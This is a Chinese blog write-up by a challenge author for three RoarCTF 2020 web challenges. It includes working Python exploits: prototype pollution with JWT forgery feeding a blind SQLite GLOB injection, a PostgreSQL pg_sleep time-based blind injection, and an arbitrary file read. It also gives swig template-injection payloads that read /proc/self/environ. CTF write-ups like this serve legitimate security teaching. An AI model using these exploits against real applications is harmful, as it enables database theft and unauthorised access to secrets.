RoarCTF 2020 Writeup 8 min read
本文最后更新于 125 天前,其中的信息可能已经有所发展或是发生改变。

Author:颖奇L’Amore

Blog:www.gem-love.com

有幸能为本次比赛出题,就是题出的比较垃圾,每道题都有非预期,在这里先给各位谢罪了。详细的解法我已经写到官方Writeup了,请各位关注。以下是我出的3个题目的预期&已知非预期(不是官方wp),如果看到其他非预期,会更新过来。

有其他解法欢迎评论区告知我!

快乐圣诞cei叮壳
考点
  1. 条件竞争
  2. 原型链污染
  3. jwt爆破+伪造
  4. sqlite注入
预期解

这题思路很常规,所以其实也不太难,1个小时就被秒了

首先是原型链污染,因为session有hasOwnProperty()验证,尽管可以随意污染player对象,但是无法直接merge到session上

我们先来捋一下代码的逻辑:

  1. 提交信息到/路由,将提交的内容存入player,之后设置cookie和jwt
  2. 跳转到/start 将player中的内容存入session,这里session用了hasOwnProperty()方法防止污染
  3. 清空player之后开始游戏。如果session的won>100且santa<=5就可以胜利了

大致污染思路如下:

  1. 先post到/路由,这是注册,这样就有了session和jwt了,但是不follow最后的res.redirect()跳转
  2. post到/start路由,这是在猜拳,session被加上了won属性
  3. get访问/start路由,player被遍历赋值给session,hasOwnProperty()不会拦截对won的merge,session的won被污染

原型链污染的exp大致这样(等下会发完整版的exp)

def pollution():
	s = req.session()
	# 先提交并污染
	res1 = s.post(url=url+"" ,json={"__proto__" : {"won" : 101}}, allow_redirects=False) 

	# 给session加上won属性
	s.post(url=url+"start" ,json={"santa" : "1", "player" : "2"}, allow_redirects=False) 

	# 去污染session
	s.get(url=url+"start")

	# # 去验证是否污染成功
	res2 = s.post(url=url+"start", json={}, allow_redirects=False)

	return req.utils.dict_from_cookiejar(res1.cookies)["game"]

然后jwt的secret叫做env.parsed.rockyou,首先纵览所有代码,jwt的secret不可能被泄露,基本上是要爆破jwt,然后最后有sql的waf暗示可以被注入,这里的rockyou又与著名的rockyou.txt(kali自带了)字典同名

所以还好了因为都告诉用什么字典了,直接找个工具或者自己写脚本跑一下可以得到jwt的secret为fuckoff123

最后的sqlite,因为><=什么的被过滤了,可以利用glob注入,exp如下:

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import json
import string
import requests as req
import sys
import jwt


url = "http://y1ng.vip:50001/"

def pollution():
	s = req.session()
	# 先提交并污染
	res1 = s.post(url=url+"" ,json={"__proto__" : {"won" : 101}}, allow_redirects=False) 

	# 给session加上won属性
	s.post(url=url+"start" ,json={"santa" : "1", "player" : "2"}, allow_redirects=False) 

	# 去污染session
	s.get(url=url+"start")

	# # 去验证是否污染成功
	res2 = s.post(url=url+"start", json={}, allow_redirects=False)

	return req.utils.dict_from_cookiejar(res1.cookies)["game"]


def gJWT(payload):
	data = {
		"id" : payload,
		"is_win" : "true"
	}
	token = jwt.encode(data, "fuckoff123", algorithm="HS256").decode('ascii')
	return token

def text2char(s):
	res = ''
	for i in s:
		res += "%d," % ord(i)
	return f"char({res[:-1]})"

def main():
	result = ''
	alpa = "}{_.@][$%^&!#)-(, \n" + string.digits + string.ascii_letters 
	sess = pollution()

	subquery = f"select group_concat(name) from sqlite_master where type glob {text2char('table')} order by name limit 0,1" #AWARD,SECRET
	subquery = f"SELECT group_concat(sql) FROM sqlite_master WHERE tbl_name glob {text2char('SECRET')} AND type glob {text2char('table')}" #CREATE TABLE SECRET(ID INT NOT NULL, fl4ggg TEXT PRIMARY KEY NOT NULL)
	subquery = "select group_concat(fl4ggg) from SECRET"  #flag{f7f0f684-0abf-ffe1-c561-a186d17a0b1d}

	failed = 0
	for postion in range(1,100):
		for i in alpa:
			sql = f'''1 and (case when (substr(({subquery}),{postion},1) glob char({ord(i)})) then char(97) else char(98) end) glob char(97);--'''
			token = gJWT(sql)
			headers = {
				"cookie" : f"game={sess}; token={token}"
			}
			r = req.get(url=url+'award', headers=headers)
			if "Turkey" in r.text:
				result += i
				print(result)
				break

			if i == alpa[-1:] :
				failed += 1
				if failed >= 5:
					print("[+] 注入完成")
					exit(0)

if __name__ == '__main__':
	main()
非预期

非预期主要出在了sqlite注入上,实际上完全没有用GLOB这么复杂,直接in注入即可(一血队伍AheadSec的解法),payload和mysql没什么区别。

你能登陆成功吗
预期解

主要的考点就是PostgreSQL的时间盲注,注出密码即可。上revenge是因为最开始忘记删了一个sql语句的输出,导致可以布尔注入,不过大部分选手基本还是时间盲注exp打2道题。我的锅我的锅

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import sys
import time as t
import string as s
import requests as req


url= "http://127.0.0.1:2333/"


res = ''
for i in range(1,50):
    for char in s.ascii_letters + s.digits:
        payload = f"""0'and(select/**/case/**/when(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),{i},1)='{char}')then(select/**/'roarctf'/**/from/**/pg_sleep(3))else/**/'1'/**/end)='roarctf'--"""
        data = {
            'username' : 'admin',
            'password' : payload,
        }
        try:
            start = int(t.time())
            r = req.post(url=url, data=data)
            time = int(t.time()) - start
            if time >= 2.5:
                res += char
                print(res) 
                break
        except Exception as e:
            print(e)
            pass
        if char == s.digits[-1:]:
            print("sqli finished: "+res)
            exit(0)
非预期:
  • 直接pg_sleep(5)::VARCHAR即可将其转为字符,payload将大大简化
  • 利用||连接字符串的特性,也可以直接延时,参考Nu1L的wp
  • 还有人是直接sqlmap做的….
HTML在线代码编辑器
考点:
  1. nodejs黑盒测试
  2. 任意文件读取+代码审计
  3. swig模板注入与过滤器应用
预期解法:

题目可以查看一个HTML代码示例,点一下就会填充出来一些代码,通过了html源代码发现它实际上调用了一个叫get_source_code()的函数

跟进到type/html_editor.js:

function get_source_code() {
    $.ajax({
        type:'post',
        url:'/view',
        data:JSON.stringify({
            "file" : "ba1f2511fc30423bdbb183fe33f3dd0f_admin_999999999.html",
            "time" : Math.ceil(new Date().getTime() / 1000)
        }),
        contentType: "application/json",
        success: function (data) {
            var dv = document.getElementById("Ym9iYmF0ZWEh");
            var spn = document.createElement("pre");
            spn.innerText = data;
            dv.append(spn);
        }
    })
}

function jmp() {
    window.open("/view?file=ba1f2511fc30423bdbb183fe33f3dd0f_admin_999999999.html")
}


function goto_ide() {
    location.href = "/htmlide"
}

可以看到实际上是ajax向/view来POST请求的,并且参数是文件名和一个时间戳。写个脚本autofix一下这个time参数

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import time
import sys
import requests as req


def post(file):
    url = "http://127.0.0.1:2333/view"
    headers = {
        "Cookie" : "session=s%3A8SatsrypaIW7GWzOSUsKKsQVBMbbfKsu.ajqfsgWXaOr8DT77wUGH4tgQDVIh6PBb6%2BMucxG2a6Q"
    }
    data = {
        "file" : file ,
        "time" : str(int(time.time()))
    }
    print(req.post(url=url, data=data, headers=headers).text)


post(sys.argv[1])

这样就可以任意文件读取了

分析代码可知swig模板,然后环境变量被渲染进了模板,对forloop进行了过滤。

查询swig模板中文文档https://myvin.github.io/swig.zh-CN/docs/ 有直接把对象全部打出来的方法。两种payload:

{{values|join(', ')}}
{{values|json()}}
非预期

基本没有几个队读了源码,因为可以很直觉的想到SSTI,然后输入一些能让模板报错的模板语法,渲染模板就会报错,报错信息中可知是swig模板,然后{{process.env|json()}}

得知swig模板后,还可以利用模板引入或者模板扩展来读文件,因为题目告诉了flag在环境变量,于是直接读环境变量

{% include '/proc/self/environ' %} 

{% extends  '/proc/self/environ' %}

本就很垃圾的题目变得更加弱智了….


 

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2702.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

暂无评论

发送评论 编辑评论

上一篇
下一篇